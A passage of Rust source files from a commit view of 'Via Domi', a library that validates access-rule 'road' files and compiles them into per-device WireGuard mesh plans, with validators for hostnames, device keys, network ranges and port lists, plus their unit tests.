#[derive(Clone, PartialEq, Eq, PartialOrd, Ord, Hash, serde::Serialize)]
#[serde(transparent)]
pub struct $name(String);
impl $name {
pub fn new(s: &str) -> Option<$name> {
$check(s).then(|| $name(s.to_string()))
}
pub fn as_str(&self) -> &str {
&self.0
}
}
impl fmt::Display for $name {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
f.write_str(&self.0)
}
}
impl fmt::Debug for $name {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
write!(f, "{}({})", stringify!($name), self.0)
}
}
impl<'de> serde::Deserialize<'de> for $name {
fn deserialize<D: serde::Deserializer<'de>>(d: D) -> Result<Self, D::Error> {
let s = String::deserialize(d)?;
$name::new(&s).ok_or_else(|| {
serde::de::Error::custom(format!("`{}` is not {}", clip(&s), $what))
})
}
}
};
}
string_id!(PersonId, is_opaque_id, "a person id");
string_id!(GroupId, is_opaque_id, "a group id");
string_id!(AppId, is_tessera_id, "an app id");
string_id!(Hostname, is_hostname, "a hostname");
string_id!(DeviceKey, is_device_key, "a device key");
/// A person or group id. **No people directory exists in Fundamentum yet**, so this is an opaque newtype:
/// 1–64 of `[A-Za-z0-9_-]`, wide enough for a base64url Tessera root public key.
pub fn is_opaque_id(s: &str) -> bool {
(1..=64).contains(&s.len())
&& s.bytes()
.all(|b| b.is_ascii_alphanumeric() || b == b'_' || b == b'-')
}
/// Tessera's id (Fundamentum `crates/tessera/src/id.rs`): 1–32 of `[a-z0-9-]`, not starting or ending with `-`.
pub fn is_tessera_id(s: &str) -> bool {
(1..=32).contains(&s.len())
&& s.bytes()
.all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || b == b'-')
&& !s.starts_with('-')
&& !s.ends_with('-')
}
/// A Tessera device subkey (Fundamentum `docs/TESSERA.md` §2 and §4): a 32-byte Ed25519 public key in
/// base64url without padding, in its one canonical encoding.
pub fn is_device_key(s: &str) -> bool {
if s.len() != 43 {
return false;
}
match URL_SAFE_NO_PAD.decode(s) {
Ok(bytes) => bytes.len() == 32 && URL_SAFE_NO_PAD.encode(&bytes) == s,
Err(_) => false,
}
}
impl DeviceKey {
/// The key of 32 public-key bytes. Tests use it with made-up bytes: there are no real keys in this crate.
pub fn from_bytes(bytes: &[u8; 32]) -> DeviceKey {
DeviceKey(URL_SAFE_NO_PAD.encode(bytes))
}
/// The first 8 characters, for people to tell keys apart.
pub fn short(&self) -> &str {
&self.0[..8]
}
}
/// Ianitor's hostname rules (`crates/core/src/validate.rs`, `check_hostname`), written again here: lowercase,
/// at most 253 characters, labels of 1–63 `[a-z0-9-]` not starting or ending with `-`, no wildcard, no
/// trailing dot, not an IP address.
pub fn is_hostname(h: &str) -> bool {
if h.is_empty() || h.len() > 253 || h.parse::<std::net::IpAddr>().is_ok() || h.ends_with('.') {
return false;
}
h.split('.').all(|label| {
(1..=63).contains(&label.len())
&& label
.bytes()
.all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == b'-')
&& !label.starts_with('-')
&& !label.ends_with('-')
})
}
/// At most 40 characters of `s`, for messages.
pub(crate) fn clip(s: &str) -> String {
let mut out: String = s.chars().take(40).collect();
if out.len() < s.len() {
out.push('…');
}
out.escape_debug().to_string()
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn device_keys_are_canonical_43_character_base64url() {
let k = DeviceKey::from_bytes(&[1; 32]);
assert_eq!(k.as_str(), "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE");
assert!(is_device_key(k.as_str()));
// Non-zero trailing bits: decodes to the same bytes, but is not the canonical encoding.
assert!(!is_device_key(
"AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQF"
));
assert!(!is_device_key(
"AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE="
));
assert!(!is_device_key(
"AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ+"
));
}
#[test]
fn hostnames_follow_ianitor() {
assert!(is_hostname("photos.home.arpa"));
assert!(is_hostname("localhost"));
for bad in [
"",
"Photos.home.arpa",
"*.home.arpa",
"photos.home.arpa.",
"-a.b",
"a-.b",
"a..b",
"10.0.0.1",
"a b",
] {
assert!(!is_hostname(bad), "{bad}");
}
assert!(!is_hostname(&format!("{}.a", "x".repeat(64))));
}
#[test]
fn opaque_and_tessera_ids() {
assert!(is_opaque_id("jana"));
assert!(is_opaque_id("AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE"));
assert!(!is_opaque_id("jana novak"));
assert!(!is_opaque_id(&"a".repeat(65)));
assert!(is_tessera_id("steam"));
assert!(!is_tessera_id("-steam"));
assert!(!is_tessera_id("Steam"));
}
}
+30
View File
@@ -0,0 +1,30 @@
//! Via Domi's road model, its validator and the compiler from roads to per-device plans.
//!
//! Pure: the only I/O is [`Store::load_dir`] reading the store; no network, no clock (`now` is a parameter),
//! no randomness (ids take a random source as a parameter). See `docs/02_via-core.md` and `docs/FORMATS.md`.
#![forbid(unsafe_code)]
pub mod compile;
pub mod explain;
pub mod header;
pub mod id;
pub mod ids;
pub mod net;
pub mod plan;
pub mod ports;
pub mod problem;
pub mod road;
pub mod rules;
pub mod snapshot;
pub mod store;
pub use compile::{Compiled, Grant, compile};
pub use explain::explain;
pub use id::RoadId;
pub use ids::{AppId, DeviceKey, GroupId, Hostname, PersonId};
pub use plan::Plan;
pub use problem::{Problem, Severity};
pub use road::{Body, Place, Road, Subject, Verb};
pub use snapshot::{Devices, Directory};
pub use store::Store;
+228
View File
@@ -0,0 +1,228 @@
//! Networks: canonical CIDRs, host networks, overlap, and what `internet` means.
use ipnet::IpNet;
use std::fmt;
use std::net::IpAddr;
use std::str::FromStr;
/// A canonical network (host bits zero), serialised as its text in every format.
#[derive(Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash)]
pub struct Net(IpNet);
impl Net {
/// Parses `a.b.c.d/n` or `x::/n`; `Err(true)` when it parses but has host bits set.
pub fn parse_canonical(s: &str) -> Result<Net, bool> {
let n = IpNet::from_str(s).map_err(|_| false)?;
if n.trunc() != n || n.to_string() != s {
return Err(true);
}
Ok(Net(n))
}
/// The `/32` or `/128` of one address.
pub fn host(addr: IpAddr) -> Net {
Net(IpNet::from(addr))
}
pub fn v4_default() -> Net {
Net(IpNet::from_str("0.0.0.0/0").expect("literal"))
}
pub fn v6_default() -> Net {
Net(IpNet::from_str("::/0").expect("literal"))
}
pub fn inner(&self) -> IpNet {
self.0
}
pub fn prefix_len(&self) -> u8 {
self.0.prefix_len()
}
pub fn contains(&self, other: &Net) -> bool {
self.0.contains(&other.0)
}
pub fn contains_addr(&self, addr: &IpAddr) -> bool {
self.0.contains(addr)
}
pub fn overlaps(&self, other: &Net) -> bool {
self.contains(other) || other.contains(self)
}
/// Whether any part of this network is on the internet: it is not wholly inside one of [`NOT_INTERNET`].
pub fn reaches_internet(&self) -> bool {
!NOT_INTERNET
.iter()
.any(|s| Net::parse_canonical(s).expect("literal").contains(self))
}
/// An IPv6 network that carries IPv4 addresses inside it (mapped, compatible, NAT64, 6to4). Refused
/// everywhere: write the IPv4 network, so the two families are never compared apart (QA R-07).
pub fn embeds_ipv4(&self) -> bool {
matches!(self.0, IpNet::V6(_))
&& EMBEDS_IPV4
.iter()
.any(|s| Net::parse_canonical(s).expect("literal").contains(self))
}
/// Loopback, link-local (cloud metadata lives there), multicast, broadcast and "this network": never a
/// place to reach or route (QA R-08).
pub fn is_special(&self) -> bool {
SPECIAL
.iter()
.any(|s| self.overlaps(&Net::parse_canonical(s).expect("literal")))
}
}
const EMBEDS_IPV4: &[&str] = &[
"::/96",
"::ffff:0.0.0.0/96",
"64:ff9b::/96",
"64:ff9b:1::/48",
"2002::/16",
];
const SPECIAL: &[&str] = &[
"0.0.0.0/8",
"127.0.0.0/8",
"169.254.0.0/16",
"224.0.0.0/4",
"240.0.0.0/4",
"::1/128",
"fe80::/10",
"ff00::/8",
];
/// What `internet` excludes (docs/FORMATS.md, "The plan").
pub const NOT_INTERNET: &[&str] = &[
"0.0.0.0/8",
"10.0.0.0/8",
"100.64.0.0/10",
"127.0.0.0/8",
"169.254.0.0/16",
"172.16.0.0/12",
"192.168.0.0/16",
"::1/128",
"fc00::/7",
"fe80::/10",
];
impl fmt::Display for Net {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
write!(f, "{}", self.0)
}
}
impl fmt::Debug for Net {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
write!(f, "Net({})", self.0)
}
}
impl serde::Serialize for Net {
fn serialize<S: serde::Serializer>(&self, s: S) -> Result<S::Ok, S::Error> {
s.collect_str(&self.0)
}
}
impl<'de> serde::Deserialize<'de> for Net {
fn deserialize<D: serde::Deserializer<'de>>(d: D) -> Result<Self, D::Error> {
let s = String::deserialize(d)?;
Net::parse_canonical(&s)
.map_err(|_| serde::de::Error::custom(format!("`{s}` is not a canonical network")))
}
}
/// A mesh address, serialised as text in every format.
#[derive(Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash, Debug)]
pub struct Addr(pub IpAddr);
impl fmt::Display for Addr {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
write!(f, "{}", self.0)
}
}
impl serde::Serialize for Addr {
fn serialize<S: serde::Serializer>(&self, s: S) -> Result<S::Ok, S::Error> {
s.collect_str(&self.0)
}
}
impl<'de> serde::Deserialize<'de> for Addr {
fn deserialize<D: serde::Deserializer<'de>>(d: D) -> Result<Self, D::Error> {
let s = String::deserialize(d)?;
match s.parse::<IpAddr>() {
Ok(a) if a.to_string() == s => Ok(Addr(a)),
_ => Err(serde::de::Error::custom(format!(
"`{s}` is not an IP address in its usual form"
))),
}
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn canonical_networks() {
assert!(Net::parse_canonical("192.168.100.0/24").is_ok());
assert_eq!(Net::parse_canonical("192.168.100.7/24"), Err(true));
assert_eq!(
Net::parse_canonical("fd00:0::/64"),
Err(true),
"not the usual text form"
);
assert!(Net::parse_canonical("fd00::/64").is_ok());
assert_eq!(Net::parse_canonical("192.168.100.0"), Err(false));
assert_eq!(Net::parse_canonical("nonsense"), Err(false));
}
#[test]
fn internet() {
assert!(
Net::parse_canonical("8.8.8.0/24")
.unwrap()
.reaches_internet()
);
assert!(Net::v4_default().reaches_internet());
assert!(
!Net::parse_canonical("192.168.100.0/24")
.unwrap()
.reaches_internet()
);
assert!(
!Net::parse_canonical("100.96.0.0/16")
.unwrap()
.reaches_internet()
);
}
#[test]
fn embedded_ipv4_and_special_ranges() {
let n = |s: &str| Net::parse_canonical(s).unwrap();
assert!(n("::ffff:10.0.0.0/120").embeds_ipv4());
assert!(n("64:ff9b::/96").embeds_ipv4());
assert!(n("2002::/16").embeds_ipv4());
assert!(n("::1/128").embeds_ipv4());
assert!(!n("2000::/3").embeds_ipv4());
assert!(!n("::/0").embeds_ipv4());
assert!(!n("fd00::/64").embeds_ipv4());
for s in [
"127.0.0.0/8",
"169.254.169.254/32",
"224.0.0.0/4",
"255.255.255.255/32",
"fe80::/10",
"ff02::1/128",
"0.0.0.0/1",
] {
assert!(n(s).is_special(), "{s}");
}
assert!(!n("192.168.100.0/24").is_special());
}
}
+176
View File
@@ -0,0 +1,176 @@
//! The compiled plan: what one device needs (docs/FORMATS.md, "The plan"). Field order is the wire order.
use crate::id::RoadId;
use crate::ids::{AppId, DeviceKey, Hostname};
use crate::net::{Addr, Net};
use crate::ports::Proto;
use serde::{Deserialize, Serialize};
pub const FORMAT: u32 = 1;
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
#[serde(deny_unknown_fields)]
pub struct Plan {
pub format: u32,
pub device: DeviceKey,
pub name: String,
pub address: Addr,
/// The services this device hosts on an address of their own: it answers on these too (sorted by host).
pub services: Vec<ServiceAddress>,
/// This device is a classic WireGuard peer: not post-quantum.
pub classic: bool,
/// The earliest `until` of the roads this plan was built from, UTC: compile again by then.
pub expires: Option<String>,
pub peers: Vec<Peer>,
pub firewall: Firewall,
pub dns: Vec<Dns>,
pub exit: Option<Exit>,
pub kill_switch: Option<KillSwitch>,
pub direct: Vec<Direct>,
pub custom: Vec<Custom>,
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
#[serde(deny_unknown_fields)]
pub struct Peer {
pub key: DeviceKey,
pub name: String,
pub address: Addr,
/// A classic WireGuard peer: **not post-quantum**.
pub classic: bool,
pub allowed_ips: Vec<Net>,
/// A path hint (a relay or an exit) when every road to this peer names the same one.
pub via: Option<DeviceKey>,
pub roads: Vec<RoadId>,
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
#[serde(deny_unknown_fields)]
pub struct Firewall {
/// Always `deny`: only the rules below let traffic in or through.
pub default: Action,
pub rules: Vec<Rule>,
}
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "kebab-case")]
pub enum Action {
Deny,
}
#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash, Serialize, Deserialize)]
#[serde(rename_all = "kebab-case")]
pub enum Direction {
/// To this device's own address.
In,
/// Through this device: to a subnet it routes, or to the internet as an exit.
Forward,
}
/// Where a rule lets traffic go.
#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash)]
pub enum Dst {
Net(Net),
/// Every address except the private ranges (`net::NOT_INTERNET`).
Internet,
}
impl Serialize for Dst {
fn serialize<S: serde::Serializer>(&self, s: S) -> Result<S::Ok, S::Error> {
match self {
Dst::Net(n) => n.serialize(s),
Dst::Internet => s.serialize_str("internet"),
}
}
}
impl<'de> Deserialize<'de> for Dst {
fn deserialize<D: serde::Deserializer<'de>>(d: D) -> Result<Self, D::Error> {
let s = String::deserialize(d)?;
if s == "internet" {
return Ok(Dst::Internet);
}
Net::parse_canonical(&s)
.map(Dst::Net)
.map_err(|_| serde::de::Error::custom(format!("`{s}` is not a network or `internet`")))
}
}
#[derive(Debug, Clone, PartialEq, Eq, PartialOrd, Ord, Serialize, Deserialize)]
#[serde(deny_unknown_fields)]
pub struct Rule {
pub direction: Direction,
pub src: Net,
pub dst: Dst,
pub proto: Proto,
pub ports: Option<[u16; 2]>,
pub roads: Vec<RoadId>,
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
#[serde(deny_unknown_fields)]
pub struct ServiceAddress {
pub host: Hostname,
pub address: Addr,
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
#[serde(deny_unknown_fields)]
pub struct Dns {
pub host: Hostname,
pub address: Addr,
pub roads: Vec<RoadId>,
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
#[serde(deny_unknown_fields)]
pub struct Exit {
pub through: DeviceKey,
pub roads: Vec<RoadId>,
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
#[serde(deny_unknown_fields)]
pub struct KillSwitch {
/// `None` when kill-switch roads disagree: nothing leaves but the mesh (fails closed).
pub through: Option<DeviceKey>,
pub roads: Vec<RoadId>,
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
#[serde(deny_unknown_fields)]
pub struct Direct {
/// `None`: all traffic to `subnet`; `Some`: only that app's.
pub app: Option<AppId>,
pub subnet: Net,
/// The nets inside `subnet` that this plan sends through the tunnel: they stay in it (QA F-02). A
/// platform that cannot keep them in (an app-level bypass, say) must not apply this entry at all.
pub except: Vec<Net>,
pub roads: Vec<RoadId>,
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
#[serde(deny_unknown_fields)]
pub struct Custom {
pub road: RoadId,
/// For a classic device (or a road that says so): not post-quantum.
pub classic: bool,
/// The raw block, byte for byte. **Never checked by the compiler.**
pub raw: String,
}
impl Plan {
/// Every allowed IP of every peer, with the peer.
pub fn allowed_ips(&self) -> impl Iterator<Item = (&DeviceKey, &Net)> {
self.peers
.iter()
.flat_map(|p| p.allowed_ips.iter().map(move |n| (&p.key, n)))
}
/// Pretty JSON, two spaces, fields in wire order, a final newline: the same input, the same bytes.
pub fn to_json(&self) -> String {
let mut s = serde_json::to_string_pretty(self).expect("a plan always serialises");
s.push('\n');
s
}
}
+216
View File
@@ -0,0 +1,216 @@
//! Port lists: `tcp/443`, `udp/53`, `tcp/8000-8100`, `tcp`, `udp`, `icmp` (docs/FORMATS.md).
use std::fmt;
#[derive(
Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash, Debug, serde::Serialize, serde::Deserialize,
)]
#[serde(rename_all = "kebab-case")]
pub enum Proto {
Any,
Tcp,
Udp,
Icmp,
}
/// One entry of a port list. `range` is `None` for the whole protocol.
#[derive(Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash, Debug)]
pub struct PortSpec {
pub proto: Proto,
pub range: Option<(u16, u16)>,
}
impl PortSpec {
pub fn parse(s: &str) -> Result<PortSpec, String> {
let (proto, rest) = match s.split_once('/') {
Some((p, r)) => (p, Some(r)),
None => (s, None),
};
let proto = match proto {
"tcp" => Proto::Tcp,
"udp" => Proto::Udp,
"icmp" => Proto::Icmp,
_ => return Err(format!("`{s}`: the protocol is tcp, udp or icmp")),
};
let Some(rest) = rest else {
return Ok(PortSpec { proto, range: None });
};
if proto == Proto::Icmp {
return Err(format!("`{s}`: icmp has no ports"));
}
let (lo, hi) = match rest.split_once('-') {
Some((a, b)) => (port(a, s)?, port(b, s)?),
None => {
let p = port(rest, s)?;
(p, p)
}
};
if rest.contains('-') && lo >= hi {
return Err(format!(
"`{s}`: a range goes from a lower port to a higher one"
));
}
Ok(PortSpec {
proto,
range: Some((lo, hi)),
})
}
fn covers_range(&self) -> (u16, u16) {
self.range.unwrap_or((1, 65535))
}
}
fn port(t: &str, whole: &str) -> Result<u16, String> {
let ok = !t.is_empty()
&& t.len() <= 5
&& t.bytes().all(|b| b.is_ascii_digit())
&& !t.starts_with('0');
match t.parse::<u16>() {
Ok(p) if ok && p > 0 => Ok(p),
_ => Err(format!(
"`{whole}`: a port is a number from 1 to 65535, without leading zeros"
)),
}
}
impl fmt::Display for PortSpec {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
let p = match self.proto {
Proto::Any => "any",
Proto::Tcp => "tcp",
Proto::Udp => "udp",
Proto::Icmp => "icmp",
};
match self.range {
None => f.write_str(p),
Some((lo, hi)) if lo == hi => write!(f, "{p}/{lo}"),
Some((lo, hi)) => write!(f, "{p}/{lo}-{hi}"),
}
}
}
/// Whether every spec in `inner` is covered by the union of `outer`.
pub fn is_subset(inner: &[PortSpec], outer: &[PortSpec]) -> bool {
inner.iter().all(|a| {
let mut ranges: Vec<(u32, u32)> = outer
.iter()
.filter(|b| b.proto == a.proto)
.map(|b| {
let (lo, hi) = b.covers_range();
(lo as u32, hi as u32)
})
.collect();
if a.proto == Proto::Icmp {
return !ranges.is_empty();
}
ranges.sort();
let (lo, hi) = a.covers_range();
let (mut need, hi) = (lo as u32, hi as u32);
for (l, h) in ranges {
if l > need {
break;
}
if h >= need {
need = h + 1;
}
if need > hi {
return true;
}
}
need > hi
})
}
/// Whether two port sets share any traffic. `None` means all traffic.
pub fn overlaps(a: Option<&[PortSpec]>, b: Option<&[PortSpec]>) -> bool {
match (a, b) {
(None, _) | (_, None) => true,
(Some(a), Some(b)) => a.iter().any(|x| {
b.iter().any(|y| {
x.proto == y.proto && {
let (xl, xh) = x.covers_range();
let (yl, yh) = y.covers_range();
xl <= yh && yl <= xh
}
})
}),
}
}
#[cfg(test)]
mod tests {
use super::*;
fn specs(s: &[&str]) -> Vec<PortSpec> {
s.iter().map(|x| PortSpec::parse(x).unwrap()).collect()
}
#[test]
fn parse_and_print() {
for s in [
"tcp/443",
"udp/53",
"tcp/8000-8100",
"tcp",
"udp",
"icmp",
"tcp/65535",
] {
assert_eq!(PortSpec::parse(s).unwrap().to_string(), s);
}
for bad in [
"tcp/0",
"tcp/0443",
"tcp/65536",
"tcp/443-443",
"tcp/500-400",
"icmp/8",
"sctp/1",
"tcp/",
"tcp/a",
"TCP/443",
"",
] {
assert!(PortSpec::parse(bad).is_err(), "{bad}");
}
}
#[test]
fn subsets() {
assert!(is_subset(
&specs(&["tcp/443"]),
&specs(&["tcp/443", "tcp/22"])
));
assert!(!is_subset(&specs(&["tcp/80"]), &specs(&["tcp/443"])));
assert!(!is_subset(&specs(&["udp/443"]), &specs(&["tcp/443"])));
assert!(is_subset(
&specs(&["tcp/8000-8100"]),
&specs(&["tcp/8000-8050", "tcp/8051-8100"])
));
assert!(!is_subset(
&specs(&["tcp/8000-8100"]),
&specs(&["tcp/8000-8050", "tcp/8052-8100"])
));
assert!(is_subset(&specs(&["tcp/1-10"]), &specs(&["tcp"])));
assert!(!is_subset(&specs(&["tcp"]), &specs(&["tcp/1-65534"])));
assert!(is_subset(
&specs(&["tcp"]),
&specs(&["tcp/1-100", "tcp/101-65535"])
));
assert!(is_subset(&specs(&["icmp"]), &specs(&["icmp"])));
}
#[test]
fn overlap() {
assert!(overlaps(None, Some(&specs(&["tcp/1"]))));
assert!(overlaps(
Some(&specs(&["tcp/400-500"])),
Some(&specs(&["tcp/443"]))
));
assert!(!overlaps(
Some(&specs(&["tcp/400-500"])),
Some(&specs(&["udp/443"]))
));
}
}
+85
View File
@@ -0,0 +1,85 @@
//! Problems: what `via check` reports (docs/FORMATS.md).
//!
//! One line per problem, as Pensum does it: `<path>[:<line>]: [<field>: ]<message> [<code>]`.
use std::fmt;
/// Whether a problem is an error (the file is wrong) or a valid road that grants nothing right now.
#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash, serde::Serialize)]
#[serde(rename_all = "kebab-case")]
pub enum Severity {
Error,
Inactive,
}
/// One validation problem. `path` is store-relative, with `/`.
#[derive(Debug, Clone, PartialEq, Eq, PartialOrd, Ord, serde::Serialize)]
pub struct Problem {
pub path: String,
pub line: Option<usize>,
pub field: Option<String>,
/// A rule code from [`crate::rules::ALL`].
pub code: &'static str,
pub message: String,
pub severity: Severity,
}
impl Problem {
pub fn error(
path: &str,
field: Option<&str>,
code: &'static str,
message: impl Into<String>,
) -> Self {
debug_assert!(
crate::rules::ALL.contains(&code),
"unlisted rule code {code}"
);
Problem {
path: path.to_string(),
line: None,
field: field.map(String::from),
code,
message: message.into(),
severity: Severity::Error,
}
}
pub fn inactive(
path: &str,
field: Option<&str>,
code: &'static str,
message: impl Into<String>,
) -> Self {
Problem {
severity: Severity::Inactive,
..Problem::error(path, field, code, message)
}
}
/// Sets the 1-based line; 0 means unknown.
pub fn at(mut self, line: usize) -> Self {
self.line = (line > 0).then_some(line);
self
}
pub fn is_error(&self) -> bool {
self.severity == Severity::Error
}
}
impl fmt::Display for Problem {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
if self.severity == Severity::Inactive {
f.write_str("inactive: ")?;
}
f.write_str(&self.path)?;
if let Some(line) = self.line {
write!(f, ":{line}")?;
}
if let Some(field) = &self.field {
write!(f, ": {field}")?;
}
write!(f, ": {} [{}]", self.message, self.code)
}
}
+945
View File
@@ -0,0 +1,945 @@
//! Road files: `roads/<id>-<slug>.md`, a strict header and a body (docs/FORMATS.md, "Road files").
use crate::header::{self, Value};
use crate::id::{self, RoadId};
use crate::ids::{AppId, DeviceKey, GroupId, Hostname, PersonId, clip};
use crate::net::Net;
use crate::ports::PortSpec;
use crate::problem::Problem;
use crate::rules as r;
use jiff::Timestamp as Instant;
use std::collections::BTreeMap;
use std::fmt;
/// Largest road file accepted.
pub const MAX_FILE: usize = 256 * 1024;
pub const REQUIRED: [&str; 4] = ["id", "subject", "verb", "created"];
pub const OPTIONAL: [&str; 6] = ["on", "object", "until", "ports", "via", "classic"];
/// Optional keys whose absence is their widest value; present but empty is `key.empty`.
pub const NARROWING: [&str; 2] = ["until", "ports"];
/// The canonical key order.
pub const ORDER: [&str; 10] = [
"id", "subject", "on", "verb", "object", "until", "ports", "via", "classic", "created",
];
#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash)]
pub enum Verb {
CanReach,
ExitsThrough,
GoesDirect,
NeverOnlineWithout,
Custom,
}
impl Verb {
pub const ALL: [Verb; 5] = [
Verb::CanReach,
Verb::ExitsThrough,
Verb::GoesDirect,
Verb::NeverOnlineWithout,
Verb::Custom,
];
pub fn as_str(self) -> &'static str {
match self {
Verb::CanReach => "can-reach",
Verb::ExitsThrough => "exits-through",
Verb::GoesDirect => "goes-direct",
Verb::NeverOnlineWithout => "never-online-without",
Verb::Custom => "custom",
}
}
pub fn parse(s: &str) -> Option<Verb> {
Verb::ALL.into_iter().find(|v| v.as_str() == s)
}
fn subject_kinds(self) -> &'static [Kind] {
match self {
Verb::GoesDirect => &[Kind::Person, Kind::Group, Kind::Device, Kind::App],
Verb::Custom => &[Kind::Device],
_ => &[Kind::Person, Kind::Group, Kind::Device],
}
}
fn object_kinds(self) -> &'static [Kind] {
match self {
Verb::CanReach => &[Kind::Device, Kind::Subnet, Kind::Service],
Verb::ExitsThrough | Verb::NeverOnlineWithout => &[Kind::Exit],
Verb::GoesDirect => &[Kind::Subnet],
Verb::Custom => &[],
}
}
/// Whether this verb takes `key` at all.
fn takes(self, key: &str) -> bool {
match key {
"object" => self != Verb::Custom,
"ports" | "via" => self == Verb::CanReach,
"classic" => matches!(self, Verb::CanReach | Verb::ExitsThrough | Verb::Custom),
_ => true,
}
}
}
impl fmt::Display for Verb {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
f.write_str(self.as_str())
}
}
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
enum Kind {
Person,
Group,
Device,
App,
Subnet,
Service,
Exit,
}
impl Kind {
fn name(self) -> &'static str {
match self {
Kind::Person => "person",
Kind::Group => "group",
Kind::Device => "device",
Kind::App => "app",
Kind::Subnet => "subnet",
Kind::Service => "service",
Kind::Exit => "exit",
}
}
}
/// Who a road is for.
#[derive(Debug, Clone, PartialEq, Eq, PartialOrd, Ord, Hash)]
pub enum Subject {
Person(PersonId),
Group(GroupId),
Device(DeviceKey),
App(AppId),
}
/// What a road points at.
#[derive(Debug, Clone, PartialEq, Eq, PartialOrd, Ord, Hash)]
pub enum Place {
Device(DeviceKey),
Subnet(Net),
Service(Hostname),
Exit(DeviceKey),
}
impl fmt::Display for Subject {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
match self {
Subject::Person(p) => write!(f, "person:{p}"),
Subject::Group(g) => write!(f, "group:{g}"),
Subject::Device(d) => write!(f, "device:{d}"),
Subject::App(a) => write!(f, "app:{a}"),
}
}
}
impl fmt::Display for Place {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
match self {
Place::Device(d) => write!(f, "device:{d}"),
Place::Subnet(n) => write!(f, "subnet:{n}"),
Place::Service(h) => write!(f, "service:{h}"),
Place::Exit(d) => write!(f, "exit:{d}"),
}
}
}
enum Ref {
S(Subject),
P(Place),
}
impl Ref {
fn kind(&self) -> Kind {
match self {
Ref::S(Subject::Person(_)) => Kind::Person,
Ref::S(Subject::Group(_)) => Kind::Group,
Ref::S(Subject::Device(_)) | Ref::P(Place::Device(_)) => Kind::Device,
Ref::S(Subject::App(_)) => Kind::App,
Ref::P(Place::Subnet(_)) => Kind::Subnet,
Ref::P(Place::Service(_)) => Kind::Service,
Ref::P(Place::Exit(_)) => Kind::Exit,
}
}
}
/// Parses `<kind>:<id>`. The error is a rule code and a message.
fn parse_ref(s: &str) -> Result<Ref, (&'static str, String)> {
let bad = |what: &str| (r::REF_FORMAT, format!("`{}` is not {what}", clip(s)));
let Some((kind, v)) = s.split_once(':') else {
return Err((
r::REF_FORMAT,
format!(
"`{}` is not a reference like `person:<id>` or `device:<key>`",
clip(s)
),
));
};
Ok(match kind {
"person" => Ref::S(Subject::Person(
PersonId::new(v).ok_or_else(|| bad("a person: 1-64 of A-Z a-z 0-9 _ -"))?,
)),
"group" => Ref::S(Subject::Group(
GroupId::new(v).ok_or_else(|| bad("a group: 1-64 of A-Z a-z 0-9 _ -"))?,
)),
"device" => Ref::P(Place::Device(DeviceKey::new(v).ok_or_else(|| {
bad("a device: a Tessera key, 43 characters of base64url")
})?)),
"app" => Ref::S(Subject::App(
AppId::new(v).ok_or_else(|| bad("an app: 1-32 of a-z 0-9 -"))?,
)),
"subnet" => match Net::parse_canonical(v) {
Ok(n) if n.embeds_ipv4() => {
return Err((
r::REF_FORMAT,
format!(
"`{}` embeds IPv4 addresses in IPv6; write the IPv4 subnet",
clip(v)
),
));
}
Ok(n) => Ref::P(Place::Subnet(n)),
Err(true) => {
return Err((
r::SUBNET_NOT_CANONICAL,
format!(
"`{}` has host bits set or an unusual form; write the network itself",
clip(v)
),
));
}
Err(false) => return Err(bad("a subnet like 192.168.100.0/24")),
},
"service" => Ref::P(Place::Service(
Hostname::new(v).ok_or_else(|| bad("a service: a lowercase hostname"))?,
)),
"exit" => Ref::P(Place::Exit(DeviceKey::new(v).ok_or_else(|| {
bad("an exit: a Tessera key, 43 characters of base64url")
})?)),
_ => {
return Err((
r::REF_FORMAT,
format!(
"`{}`: the kind is person, group, device, app, subnet, service or exit",
clip(s)
),
));
}
})
}
/// An RFC 3339 time with an offset, kept as written.
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct Timestamp {
text: String,
at: Instant,
}
impl Timestamp {
pub fn parse(s: &str) -> Option<Timestamp> {
let b = s.as_bytes();
let shape = b.len() >= 20
&& b[10] == b'T'
&& (s.ends_with('Z') || matches!(b[b.len() - 6], b'+' | b'-'));
let at: Instant = s.parse().ok()?;
